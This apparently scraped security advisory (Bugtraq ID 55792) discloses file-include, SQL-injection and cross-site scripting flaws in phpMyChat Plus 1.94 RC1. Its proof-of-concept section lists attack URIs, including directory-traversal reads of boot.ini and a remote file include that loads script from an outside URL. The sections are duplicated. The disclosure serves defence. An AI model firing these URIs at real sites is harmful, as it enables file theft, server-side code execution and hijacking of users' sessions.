phpMyChat Plus Multiple Input Validation Vulnerabilities
BID:55792
Info
phpMyChat Plus Multiple Input Validation Vulnerabilities
| Bugtraq ID: | 55792 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 04 2012 12:00AM |
| Updated: | Oct 04 2012 12:00AM |
| Credit: | L0n3ly-H34rT |
| Vulnerable: | |
| Not Vulnerable: | |
Discussion
phpMyChat Plus Multiple Input Validation Vulnerabilities
phpMyChat Plus is prone to multiple input-validation vulnerabilities because it fails to adequately sanitize user-supplied input. These vulnerabilities include multiple local file-include vulnerabilities, a remote file-include vulnerability, an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities.
An attacker can exploit the local file-include vulnerabilities using directory-traversal strings to view and execute local files within the context of the webserver process. Information harvested may aid in further attacks.
The attacker may leverage the cross-site scripting issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
The attacker can exploit the SQL-injection vulnerability to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
The attacker may leverage the remote file-include issue to execute arbitrary server-side script code on an affected computer in the context of the Web server process.
phpMyChat Plus 1.94 RC1 is vulnerable; other versions may also be affected.
phpMyChat Plus is prone to multiple input-validation vulnerabilities because it fails to adequately sanitize user-supplied input. These vulnerabilities include multiple local file-include vulnerabilities, a remote file-include vulnerability, an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities.
An attacker can exploit the local file-include vulnerabilities using directory-traversal strings to view and execute local files within the context of the webserver process. Information harvested may aid in further attacks.
The attacker may leverage the cross-site scripting issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
The attacker can exploit the SQL-injection vulnerability to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
The attacker may leverage the remote file-include issue to execute arbitrary server-side script code on an affected computer in the context of the Web server process.
phpMyChat Plus 1.94 RC1 is vulnerable; other versions may also be affected.
Exploit / POC
phpMyChat Plus Multiple Input Validation Vulnerabilities
An attacker can exploit these issues via a browser. To exploit a cross-site scripting vulnerability, the attacker must entice an unsuspecting user into visiting a malicious URI.
The following example URIs are available:
http://www.example.com/plus/users_popuph.php?B=1&From=remotelogin.php&L=hebrew&LastCheck=[Blind SQL]
http://www.example.com/plus/install/old/install.php?ChatPath=http://127.0.0.1/c.txt?
http://www.example.com/plus/install/old/install.php?ChatPath=../../../../../../boot.ini%00
http://www.example.com/plus/install/old/install.php?L=../../../../../../boot.ini%00
http://www.example.com/plus/input.php?D=20&From=remotelogin.php&L=serbian_latin&N=10&NT=1&O=1&R=Public Room 1&ST=1&T=1&U=[XSS]&Ver=H
http://www.example.com/plus/users_popuph.php?B=1&From=remotelogin.php&L=chinese_traditional&LastCheck=[XSS]
An attacker can exploit these issues via a browser. To exploit a cross-site scripting vulnerability, the attacker must entice an unsuspecting user into visiting a malicious URI.
The following example URIs are available:
http://www.example.com/plus/users_popuph.php?B=1&From=remotelogin.php&L=hebrew&LastCheck=[Blind SQL]
http://www.example.com/plus/install/old/install.php?ChatPath=http://127.0.0.1/c.txt?
http://www.example.com/plus/install/old/install.php?ChatPath=../../../../../../boot.ini%00
http://www.example.com/plus/install/old/install.php?L=../../../../../../boot.ini%00
http://www.example.com/plus/input.php?D=20&From=remotelogin.php&L=serbian_latin&N=10&NT=1&O=1&R=Public Room 1&ST=1&T=1&U=[XSS]&Ver=H
http://www.example.com/plus/users_popuph.php?B=1&From=remotelogin.php&L=chinese_traditional&LastCheck=[XSS]
Solution / Fix
phpMyChat Plus Multiple Input Validation Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
phpMyChat Plus Multiple Input Validation Vulnerabilities
References:
References:
- phpMyChat Home page (sourceforge)